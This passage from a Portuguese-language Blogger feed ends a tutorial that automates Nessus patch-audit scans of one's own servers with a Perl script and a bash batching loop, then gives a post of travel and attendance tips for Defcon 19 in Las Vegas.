my $n = Net::Nessus::XMLRPC-&amp;gt;new (&#39;&#39;,&#39;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;usuario_nessus&lt;/span&gt;&lt;/b&gt;&#39;,&#39;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&lt;b&gt;senha_nessus&lt;/b&gt;&lt;/span&gt;&#39;);
my $target;
my $targets = $ARGV[0];

die &quot;Cannot login to: &quot;.$n-&amp;gt;nurl.&quot;\n&quot; unless ($n-&amp;gt;logged_in);

print &quot;Logged in\n&quot;;

my $polid=$n-&amp;gt;policy_get_id(&#39;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&lt;b&gt;nome_policy_criada&lt;/b&gt;&lt;/span&gt;&#39;);
my $polname=$n-&amp;gt;policy_get_name($polid);

print &quot;Using policy ID: $polid with name: $polname\n&quot;;

my $scanid=$n-&amp;gt;scan_new_file($polid,&quot;report.$datetime&quot;,$target,$targets);

while (not $n-&amp;gt;scan_finished($scanid)) {
        print &quot;$scanid: &quot;.$n-&amp;gt;scan_status($scanid).&quot;\n&quot;;
        sleep 15;
}

print &quot;$scanid: &quot;.$n-&amp;gt;scan_status($scanid).&quot;\n&quot;;
my $reportcont=$n-&amp;gt;report_file_download($scanid);
my $reportfile=&quot;report.$datetime.xml&quot;;

open (FILE,&quot;&amp;gt;$reportfile&quot;) or die &quot;Cannot open file $reportfile: $!&quot;;
print FILE $reportcont;
close (FILE);

&lt;/pre&gt;
Substitua acima os campos em vermelho (login, senha e policy) pelos criados nos primeiros passos desse tutorial para tornar o script funcional. Crie agora um arquivo texto com os nomes ou IPs de todos os servidores, um por linha, que deseja verificar os patches de segurança pendentes e o utilize como parâmetro do script Perl, conforme exemplo abaixo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;[dms@s1 ~]$&lt;/b&gt; chmod +x nessus.pl &lt;br /&gt;
&lt;b&gt;[dms@s1 ~]$&lt;/b&gt; ./nessus.pl lista-servidores &lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;Logged in&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;Using policy ID: -11 with name: patches&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;176927b5-396d-432f-bd3b-08ec3688e7952f13b14cbfca2a98: running&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;176927b5-396d-432f-bd3b-08ec3688e7952f13b14cbfca2a98: completed&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
O resultado final do scan será um arquivo report.DATE.xml com todos os patches de segurança pendentes separados por host. Tenha em mente que atualizações não relacionadas a segurança não serão listadas nos relatórios do Nessus, &amp;nbsp;assim como as falhas ainda não corrigidas pelo fabricante. É muito comum a lista de patches pendentes dele ser muito menor que as apontadas pelos gerenciadores de pacote.&lt;br /&gt;
&lt;br /&gt;
É importante destacar também que o Nessus XMLRPC não aceitou, pelo menos nos meus testes, mais do que 20 linhas no arquivo texto com os servidores, então usemos a criatividade para criar um loop e realizar os scans em lotes com um shellscript:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;#!/bin/bash

# garantindo o diretorio correto
cd /home/dms/audit

# dividindo servidores em arquivos de 20 linhas com o prefixo splitscan
split lista-servidores splitscan --lines=20

# loop para executar o scan em todos os arquivos separados acima
for a in `ls splitscan*`; do ./nessus.pl $a; done

# removendo todos os arquivos acima
rm /home/dms/audit/splitscan*
&lt;/pre&gt;
&lt;br /&gt;
Basta agora inserir este script no crontab de acordo com a periodicidade desejada e você terá relatórios em XML com todas as atualizações de segurança pendentes no seu ambiente.&lt;br /&gt;
&lt;br /&gt;
Na segunda parte do artigo, mostrarei como inserir esses dados em XML obtidos pelo Nessus no MySQL e alguns exemplos de relatórios utilizando PHP para visualizar os resultados de forma consolidada.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/6148648145632879712/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/10/homemade-patch-management-system-parte.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/6148648145632879712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/6148648145632879712'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/10/homemade-patch-management-system-parte.html' title='HomeMade Patch Management System - Parte 1'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ7iuMTSB5hfuoDNdfv2_nxs2VUG0TH8kQ4-lv2a5YBqn9pg1nxF0MLFB_jVCYBb3LYFebf9i8T1akKcgpIqycKIYcfx1RRPp-c_nz2xmmsqDT6wsgrak3CTH76ihuad29-u-WiZLWfl47/s72-c/nessus1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-7369577024805868413</id><published>2011-08-10T01:05:00.000-03:00</published><updated>2011-10-19T09:51:59.841-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="eventos"/><category scheme="http://www.blogger.com/atom/ns#" term="las vegas"/><title type='text'>Defcon 19!</title><content type='html'>Não existe melhor assunto para o primeiro post deste blog do que falar sobre a Defcon 19!&amp;nbsp;Após anos e anos tentando, finalmente fui e digo, vale cada centavo investido.&lt;br /&gt;
&lt;br /&gt;
Não que tenha sido a coisa mais planejada do mundo (pra ser sincero, foi totalmente não planejado), mas o que importa é ter ido. E se você pretende ir nos próximos anos, e for a sua primeira Defcon, seguem algumas opiniões e dicas para tentar aproveitar ao máximo o evento.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Preparação&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Visite constantemente e leia a página oficial &lt;a href=&quot;http://www.defcon.org/&quot; target=&quot;_blank&quot;&gt;www.defcon.org&lt;/a&gt;&amp;nbsp;antes de ir à Las Vegas. Muita informação está e estará disponível lá, basta procurar, inclusive nos fóruns. Além disso, siga o twitter oficial também: &lt;a href=&quot;https://twitter.com/_defcon_&quot; target=&quot;_blank&quot;&gt;@_defcon_&lt;/a&gt;. Ele é atualizado constantemente!&lt;br /&gt;
&lt;br /&gt;
Além das fontes oficiais, inscreva-se na lista &lt;a href=&quot;https://lists.dc55.org/mailman/listinfo/dc17&quot; target=&quot;_blank&quot;&gt;DC17&lt;/a&gt;. Grande parte dos brasileiros que vão à Defcon a utilizam para se comunicar antes e durante o evento, além de ser uma excelente fonte de informações dos eventos passados. Recomendo ler o histórico, pois existem muitos posts valiosos que ajudarão bastante na sua &quot;jornada&quot;.&lt;br /&gt;
&lt;br /&gt;
Programe-se e informe-se sobre os eventos paralelos à conferencia. Além de inúmeros shows e espetáculos em Las Vegas (confira em &lt;a href=&quot;http://www.vegas.com/&quot; target=&quot;_blank&quot;&gt;www.vegas.com&lt;/a&gt;), existem várias e várias festas patrocinadas pelos vendors de segurança, que você pode conseguir com antecedencia utilizando seu networking. Por experiencia própria, ninguém conseguirá absolutamente nada pra você em cima da hora e você terá que pagar do seu bolso se quiser ir, o que pode sair salgado.&lt;br /&gt;
&lt;br /&gt;
A Defcon este ano não foi na &quot;Strip&quot; (Las Vegas Boulevard, avenida com os principais hoteis/cassinos que aparece em todos os filmes que se passam lá), como costumava ser, mas recomendo se hospedar por lá para sentir o clima da cidade. Não vejo motivo para se hospedar em outro local, mas isso é algo pessoal. Caso queira ficar no hotel do evento, no próprio site da Defcon é divulgado com antecedência descontos, então vale a pena ficar ligado uns meses antes (não foi o meu caso).&lt;br /&gt;
&lt;br /&gt;
E, por último, tente chegar com um ou dois dias de antecedência para não deixar de ir ao evento para fazer compras e passeios.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Las Vegas&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Alugue um carro. Eu não o fiz e me arrependi. Facilitará &lt;u&gt;muito&lt;/u&gt; suas idas e vindas ao local do evento, além de permitir compras em locais mais distantes (Wallmart, Fry&#39;s, Bestbuy, GameStop, Outlet Premium, etc) sem torrar dinheiro com taxi ou perder tempo em ônibus. Todos os hotéis possuem serviço de valet grátis, então não se preocupe com gastos de estacionamento.&lt;br /&gt;
&lt;br /&gt;
Dica postada na DC17: compre, assim que chegar, um chip pré pago e ative um plano de dados, seguindo esta dica:&amp;nbsp;&lt;a href=&quot;http://forums.macrumors.com/showthread.php?t=982364&quot; target=&quot;_blank&quot;&gt;http://forums.macrumors.com/showthread.php?t=982364&lt;/a&gt;&amp;nbsp;. Eles são vendidos em supermercados, lojas de conveniencia, e etc. Muita coisa é divulgada durante o evento, principalmente, via twitter e foruns oficiais, o que complementa bastante a sua participação. &amp;nbsp;Além disso, não sei o seu nível de paranóia, mas conectar-se à rede da Defcon, mesmo com 802.1x, VPN, tokens e etc, não me parece uma boa idéia. Lembre-se que o ambiente lá é 100% hostil.&lt;br /&gt;
&lt;br /&gt;
E, por final, beba muito água, pois o calor beira o insuportável. Você sabe que Las Vegas é no meio do deserto, certo? :-)&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;
Off topic: Se curte poker, rode nas diversas &quot;poker rooms&quot; espalhadas pelos cassinos e jogue pelo menos um buy-in. É uma experiência única;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Defcon&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Para o evento, a primeira dica é: prepare-se pra enfrentar uma maratona de filas. Sim, fila para absolutamente TUDO que você for fazer no local do evento. Não sei se foi algo específico da Defcon 19, mas prepare-se para ficar em pé por muito tempo, começando pelo dia da inscrição, que enfrentei 2 horas e 30 minutos. Se você pretende tomar café da manhã ou almoçar no hotel do evento, prepare-se pra mais e mais filas. Sim, a coisa é MUITO exagerada. Afinal, foram mais de 10.000 pessoas.&lt;br /&gt;
&lt;br /&gt;
A organização divulga que o evento possui quatro dias, mas o primeiro deles é dedicado exclusivamente para as inscrições, já que não existe pré-inscrição e a quantidade de pessoas é enorme. Após enfrentar essa maratona, aproveite esse dia para fazer outras coisas em Las Vegas (festas, compras, cassino, passeio ao Grand Cannyon, shows, e etc).&lt;br /&gt;
&lt;br /&gt;
Com a programação do evento em mãos, tente traçar de imediato todas as palestras interessantes que deseja ver, e organizar os seus horários. Além das tracks principais, existem diversos eventos paralelos dentro da própria Defcon mais alternativos, que são curiosos e valem a pena ser conferidos (confira no guia oficial recebido durante a inscrição). Essa programação será importante para entrar nas filas das palestras mais concorridas com antecedência (não fure fila!!!), além de permitir acordar mais tarde nos dias que você for sair à noite, o que leva à próxima dica.&lt;br /&gt;
&lt;br /&gt;
Existem três vertentes claras de frequentadores na Defcon: os que só vão para as palestras e eventos ligados à conferencia, os que vão pra Las Vegas passar uma semana de férias, e os que aproveitam os dois.&lt;br /&gt;
&lt;br /&gt;
Minha opinião: tente, ao máximo, aproveitar o que ambos tem a oferecer e faça parte do último grupo. O evento acontece em Las Vegas, acredito eu, com esse propósito. Só lembre-se que dificilmente você conseguirá ver palestras as 10 a.m após voltar de algum festa as 6 a.m.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Bom, é isso. Provavelmente, se tivesse me planejado, teria aproveitado mais algumas coisas e perdido menos tempo com outras, mas faz parte da experiência adquirida para as próximas.&lt;br /&gt;
&lt;br /&gt;
Nos vemos na Defcon 20!&lt;br /&gt;
&lt;br /&gt;
PS: uma pena que não li o &lt;a href=&quot;http://mrbilly.blogspot.com/2009/12/defcon-para-leigos.html&quot; target=&quot;_blank&quot;&gt;post do Willian Caprino&lt;/a&gt; antes de viajar...&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/7369577024805868413/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/08/defcon-19.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/7369577024805868413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/7369577024805868413'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/08/defcon-19.html' title='Defcon 19!'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><thr:total>1</thr:total></entry></feed>